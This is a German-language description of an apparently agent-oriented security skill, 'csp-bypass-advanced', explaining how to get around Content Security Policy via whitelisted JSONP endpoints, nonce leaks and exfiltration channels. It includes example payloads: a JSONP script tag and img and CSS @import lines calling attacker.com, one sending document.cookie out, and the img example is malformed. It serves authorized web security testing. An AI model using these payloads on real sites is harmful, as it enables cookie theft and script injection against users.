Was macht csp-bypass-advanced?
Fortgeschrittene Techniken zur Umgehung der Content Security Policy. Nutzen Sie diese Fähigkeit, wenn XSS oder Datenexfiltration durch CSP blockiert werden und Sie Richtlinienschwachstellen, Missbrauch vertrauenswürdiger Endpunkte, Nonce-Leaks oder Exfiltrationskanäle finden müssen, die CSP nicht blockieren kann.
Übersicht
CSP-Bypass-Techniken sind entscheidend, wenn eine Webanwendung eine strenge Content Security Policy implementiert hat, die herkömmliche XSS- oder Datenexfiltrationsversuche blockiert. Diese Fähigkeit konzentriert sich auf fortgeschrittene Methoden, um solche Richtlinien zu umgehen, indem Schwachstellen in deren Konfiguration ausgenutzt werden.
Unterstützte Plattformen
- Yaklang: Native Integration mit Yaklang-Skripting für automatisierte Tests.
- Burp Suite: Manuelle und semi-automatische Tests mit Burp-Erweiterungen.
- Generisch: Techniken, die auf jede Plattform mit manueller Eingabe anwendbar sind.
Techniken
1. Richtlinienschwachstellen-Analyse
Überprüfen Sie die CSP-Richtlinie auf:
- Unsicher Inline-Skript: Fehlende
'unsafe-inline'-Direktive (falls vorhanden, kann Skript direkt injiziert werden). - Whitelist-Missbrauch: Vertrauenswürdige Domains, die JSONP-Endpunkte, Skript-Hosting oder CORS-freie Ressourcen bereitstellen.
- Nonce/ Hash-Vorhersagbarkeit: Feste oder vorhersagbare Nonces oder schwache Hash-Algorithmen.
- Fehlende Einschränkungen: Fehlende Direktiven für
form-action,base-uri,object-srcoderframe-ancestors.
Beispiel für Richtlinienanalyse:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline';
Schwachstelle: script-src erlaubt https://cdn.example.com. Wenn diese Domain einen JSONP-Endpunkt hostet, kann dieser zur Skriptausführung missbraucht werden.
2. Vertrauenswürdige Endpunkt-Ausnutzung
- JSONP: Nutzen Sie JSONP-Endpunkte auf whitelistierten Domains, um beliebigen JavaScript-Code auszuführen.
- Skript-Hosting: Suchen Sie nach Hosting-Diensten (z. B. Google APIs, Amazon S3), die in der CSP whitelistiert sind und benutzerdefinierte Skripte hosten.
- CSP-Fehler: Manchmal erlauben CSP-Richtlinien aus Versehen
'unsafe-eval'oder'unsafe-inline'.
JSONP-Ausnutzungsbeispiel:
<script src="https://cdn.example.com/jsonp?callback=alert(1)"></script>
Wenn https://cdn.example.com in script-src whitelistiert ist, kann dieser Angriff funktionieren.
3. Nonce-Leakage
- DOM-Extraktion: Wenn Nonces in der HTML-Datei vorhanden sind (z. B.
<script nonce="...">), können sie über einen vorherigen XSS-Angriff ausgelesen werden. - Timing-Angriffe: Nonces können über Timing-Seitenkanäle erraten werden, wenn sie schwach generiert sind.
- Fehlkonfiguration: Nonces, die für mehrere Anfragen wiederverwendet werden (statisch), sind unsicher.
4. Exfiltrationskanäle (CSP-sicher)
Selbst wenn CSP Skriptausführung blockiert, bleiben folgende Kanäle oft offen:
- Bild-Tags:
<img src="https://attacker.com/steal?data=...">(funktioniert für Datenexfiltration, wennimg-srcnicht streng eingeschränkt ist). - Link-Tags:
<link rel="prefetch" href="...">oder<link rel="dns-prefetch" href="...">. - CSS-Import:
@import url("https://attacker.com/css?data=...");(funktioniert, wennstyle-srcerlaubt). - DNS-Exfiltration: Anfragen an Subdomains des Angreifers (z. B.
data.attacker.com).
Beispiel für Bild-Exfiltration:
<img src="https://attacker.com/collect?cookie="+document.cookie>
Wenn img-src nicht auf self beschränkt ist, kann dies trotz CSP funktionieren.
Verwendung
Mit Yaklang
use yaklang/csp-bypass-advanced
yak csp_bypass --target https://example.com --policy "default-src 'self'; script-src 'self' https://cdn.example.com"
Mit Burp Suite
- Installieren Sie das CSP-Bypass-Erweiterungspaket.
- Konfigurieren Sie die Erweiterung, um automatisch CSP-Header zu scannen.
- Überprüfen Sie den Tab "CSP-Bypass" auf potenzielle Angriffspfade.
Einschränkungen
- Moderne CSP: Strenge CSPs mit Nonces, Hashes und detaillierten Quellenbeschränkungen sind schwer zu umgehen.
- Browser-Aktualisierungen: CSP-Implementierungen entwickeln sich weiter; einige Techniken werden möglicherweise durch Browser-Updates blockiert.
- Kontext-abhängig: Der Erfolg eines Bypass hängt stark von der spezifischen Richtlinienkonfiguration und der Webanwendung ab.
Referenzen
Diese Fähigkeit ist für autorisierte Sicherheitstests gedacht. Nutzen Sie sie verantwortungsbewusst und nur auf Systemen, für die Sie die ausdrückliche Erlaubnis haben.